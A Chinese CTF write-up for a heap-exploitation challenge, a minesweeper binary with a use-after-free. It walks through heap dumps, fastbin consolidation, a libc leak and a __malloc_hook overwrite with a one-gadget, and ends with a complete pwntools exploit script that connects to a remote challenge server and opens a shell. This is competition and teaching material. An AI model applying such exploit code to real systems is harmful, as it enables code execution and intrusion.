-
-
[原创]看雪.京东 2018CTF 第十四题 PWN-mine sweeping Writeup
-
2018-7-14 00:33 2738
-
#看雪.京东 2018CTF 第十四题 PWN-mine sweeping Writeup
此题是一个堆利用题,漏洞点是一个UAF,还用到了consolidate相关的知识。
程序情况
保护情况
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
功能逻辑功能
程序实现了经典8*8扫雷游戏。程序功能代码不作过多分析(解题不需要玩游戏),网上有扫雷游戏的逆向分析及自动扫雷功能实现,可以参考理解。
程序功能菜单如下:
1. Start Game 2. Feed Back Bugs 3. help 4. exit $ 1 ---------------------- Welcome to minesweeper Panel:8*8 Mine:30 ---------------------- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ----------------------
主功能菜单有两个:一是开始扫雷游戏(即使游戏局结束,因为UAF的存在,可以继续上一局);二是feed。
扫雷游戏里有三个命令可供选择:
explore
探雷back
回主菜单out
游戏清局并回主菜单
探雷后面需要输入坐标及操作,形式 x,y,z
,坐标范围1-8,z取舍0-3。其中0表示标记无雷,1表示 有雷,2,3打印当前雷盘情况,区别在于2打开记步功能,3关闭记步功能。每次探雷操作后都会检查是否胜利;如果标记胜利的变量置位则要求输入名字;根据全局变量flag决定累不累加步数。
漏洞分析及利用
漏洞点
漏洞点在out
功能中:
if ( c == 2 ) // out { free(qword_204018->mime_bool); free(qword_204018->p_mine_num); qword_204018->init_flag = 0LL; free(qword_204018); // hangling pointer return __readfsqword(0x28u) ^ v7; }
虽然free了三个chunk,但是没有删除指针,出现悬挂指针,导致UAF。本来如果仅仅如此是没有办法利用的。因为初始化flag已经清除,再进游戏就要重新开局。
但是作者给我们在feed
中留了突破口。
printf("input the length of your feed back:"); size = read_num(); chunk = (char *)malloc(size); get_str(chunk, size); free(chunk);
此处功能就是可以申请一个随意大小的chunk并写入内容,再free掉。那就可以利用这个功能改写初始化flag,让UAF真实实现。
利用思路
题中共有两个大的结构体,一是游戏局数据,一个是用户排雷数据的。
游戏局数据的结构大致为:
00000000 struc_1 struc ; (sizeof=0x30, mappedto_6) 00000000 step dq ? ; offset 00000008 init_flag dq ? 00000010 mine_num dq ? ; offset 00000018 win_flag dq ? 00000020 mime_bool dq ? ; offset 00000028 name dq ? ; offset 00000030 struc_1 ends
用户排雷数据的结构大致为:
00000000 struc_3 struc ; (sizeof=0x40, mappedto_8) 00000000 rows dq 8 dup(?) ; offset 00000040 struc_3 ends --------------------------------------------------------------------------- 00000000 struc_2 struc ; (sizeof=0x10, mappedto_7) 00000000 cols struc_4 8 dup(?) 00000010 struc_2 ends --------------------------------------------------------------------------- 00000000 struc_4 struc ; (sizeof=0x2, mappedto_9) 00000000 mark_flag db ? 00000001 mime_flag db ? 00000002 struc_4 ends
用户排雷数据实际上是8组chunk指针,表示8行,每行有16字节数据,间隔放置8列用户排雷数据和真实check数据。
UAF利用的chunk就是有着游戏局数据的chunk,此结构中的name指针可以任意写,可以通过此办法写__malloc_hook
的内容为one gadget
的地址,进而get shell。改写此chunk内容时只要注意置位初始化flag和表示胜利的flag就行。
而leak地址,似乎只能从唯一有打印变量功能的函数入手,就是打印当前排雷局势的。
游戏开局后的堆布局是这样的:
0x55e41fc69000: 0x0000000000000000 0x0000000000000041 -----chunk1 0x55e41fc69010: 0x0000000000000000 0x0000000000000000 0x55e41fc69020: 0x000055e41fc690a0 0x0000000000000000 0x55e41fc69030: 0x000055e41fc690f0 0x000055e41fc69050 0x55e41fc69040: 0x0000000000000000 0x0000000000000031 -----chunk2 0x55e41fc69050: 0x0000000000000000 0x0000000000000000 0x55e41fc69060: 0x0000000000000000 0x0000000000000000 0x55e41fc69070: 0x0000000000000000 0x0000000000000021 -----chunk3 0x55e41fc69080: 0x0000000000000000 0x0000000000000000 0x55e41fc69090: 0x0000000000000000 0x0000000000000051 -----chunk4 0x55e41fc690a0: 0x000055e41fc690e0 0x0000000000000000 0x55e41fc690b0: 0x0000000000000000 0x0000000000000000 0x55e41fc690c0: 0x0000000000000000 0x0000000000000000 0x55e41fc690d0: 0x0000000000000000 0x0000000000000000 0x55e41fc690e0: 0x0000000000000000 0x0000000000000051 -----chunk5 0x55e41fc690f0: 0x0000000000000000 0x0000000101000100 0x55e41fc69100: 0x0001010100010000 0x0101010101000100 0x55e41fc69110: 0x0001010000010001 0x0100010000000000 0x55e41fc69120: 0x0100010001000000 0x0000010001000001 0x55e41fc69130: 0x0000000000000000 0x0000000000000051 -----chunk6 0x55e41fc69140: 0x000055e41fc69190 0x000055e41fc691b0 0x55e41fc69150: 0x000055e41fc691d0 0x000055e41fc691f0 0x55e41fc69160: 0x000055e41fc69210 0x000055e41fc69230 0x55e41fc69170: 0x000055e41fc69250 0x000055e41fc69270 fastbins 0x20: 0x55e41fc69400 —▸ 0x55e41fc693e0 —▸ 0x55e41fc693c0 —▸ 0x55e41fc693a0 ◂— ... 0x30: 0x0 0x40: 0x55e41fc69000 ◂— 0x0 0x50: 0x55e41fc69090 —▸ 0x55e41fc690e0 ◂— 0x0 0x60: 0x55e41fc69280 ◂— 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty
这里有6个chunk,chunk1就是UAF的利用对象;chunk6保存的就是8行打印数据的指针。
进入游戏后,先out
利用feed
修改name的指针低字节为e8
,然后写name,改chunk5的size。
此时再feed
一个大尺寸的chunk,fastbin就会consolidate。
0x55e41fc69000: 0x0000000000000000 0x0000000000000041 0x55e41fc69010: 0x00007f3a5644eb78 0x000055e41fc69090 0x55e41fc69020: 0x3131313131313131 0x3131313131313131 0x55e41fc69030: 0x3131313131313131 0x000055e41fc690e8 0x55e41fc69040: 0x0000000000000040 0x0000000000000030 0x55e41fc69050: 0x0000000000000000 0x0000000000000000 0x55e41fc69060: 0x0000000000000000 0x0000000000000000 0x55e41fc69070: 0x0000000000000000 0x0000000000000021 0x55e41fc69080: 0x0000000000000000 0x0000000000000000 0x55e41fc69090: 0x0000000000000000 0x00000000000000f1 0x55e41fc690a0: 0x000055e41fc69000 0x00007f3a5644eb78 0x55e41fc690b0: 0x0000000000000000 0x0000000000000000 0x55e41fc690c0: 0x0000000000000000 0x0000000000000000 0x55e41fc690d0: 0x0000000000000000 0x0000000000000000 0x55e41fc690e0: 0x0000000000000050 0x00000000000000a0 0x55e41fc690f0: 0x0000000000000000 0x0000000101000100 0x55e41fc69100: 0x0001010100010000 0x0101010101000100 0x55e41fc69110: 0x0001010000010001 0x0100010000000000 0x55e41fc69120: 0x0100010001000000 0x0000010001000001 0x55e41fc69130: 0x0000000000000000 0x0000000000000051 0x55e41fc69140: 0x000055e41fc69190 0x000055e41fc691b0 0x55e41fc69150: 0x000055e41fc691d0 0x000055e41fc691f0 0x55e41fc69160: 0x000055e41fc69210 0x000055e41fc69230 0x55e41fc69170: 0x000055e41fc69250 0x000055e41fc69270 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55e41fc69090 —▸ 0x55e41fc69000 ◂— 0x7f3a5644eb78 smallbins empty
然后feed
出chunk4,修改chunk6的数据第一个字节为40
就可以leak出堆的地址,再修改chunk6的你们两字节使其指向chunk4的数据段,leak出bin地址,得到libc基址,然后使name指向__malloc_hook
并修改其值为one gadget地址,再feed
就get shell了。
exp
#!/usr/bin/env python from pwn import * def start(): io.recvuntil('$') io.sendline('1') def feed(size,data): io.recvuntil('$') io.sendline('2') io.recvuntil('back:') io.sendline(str(size)) io.sendline(data) def explore(x,y,z): io.recvuntil('* \n----------------------\n') io.sendline('explore') io.recvuntil('z\n') io.sendline('%d,%d,%d'%(x,y,z)) def out(): io.recvuntil('* \n----------------------\n') io.sendline('out,') def back(): io.recvuntil('* \n----------------------\n') io.sendline('back,') def getres(): io.recvuntil('---\n') io.recvuntil('---\n') return io.recvuntil('* * \n') def pwn(): start() out() gdb.attach(io) feed(0x30,'1'*0x28+'\xe8') start() explore(1,1,3) io.recvuntil('hero\n') io.sendline('\xa1') io.sendline('back,') feed(0xe0,'a'*32) feed(0xe0,'a'*0xa0+'\x41') start() ch = ord(getres()[0]) io.sendline('back,') feed(0xe0,'a'*0xa0+'\xa0'+chr(ch-1)) start() r1 = getres() io.sendline('back,') feed(0xe0,'a'*0xa0+'\xa1'+chr(ch-1)) start() r2 = getres() addr = u64(r1[0]+r2[0]+r1[3]+r2[3]+r1[6]+r2[6]+'\x00\x00') libc = addr - 0x3C4B78 hook_addr = libc+0x3C4B10 one_addr = libc+0xf1147 libc = addr - 0x3C17B8 hook_addr = libc+0x3C1740 one_addr = libc+0xe9f2d log.info(hex(libc)) io.sendline('back,') feed(0x30,'a'*0x28+p64(hook_addr)[:-1]) start() explore(1,1,3) io.recvuntil('hero\n') io.sendline(p64(one_addr)) io.sendline('back,') feed(0x30,'0') io.interactive() if __name__ == '__main__': context(arch='amd64', kernel='amd64', os='linux') HOST, PORT = '0.0.0.0', 10001 HOST, PORT = '139.199.99.130', 8686 # libc = ELF('./libc.so.6') if len(sys.argv) > 1 and sys.argv[1] == 'l': io = process('./minesweep') context.log_level = 'debug' else: io = remote(HOST, PORT) pwn()
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法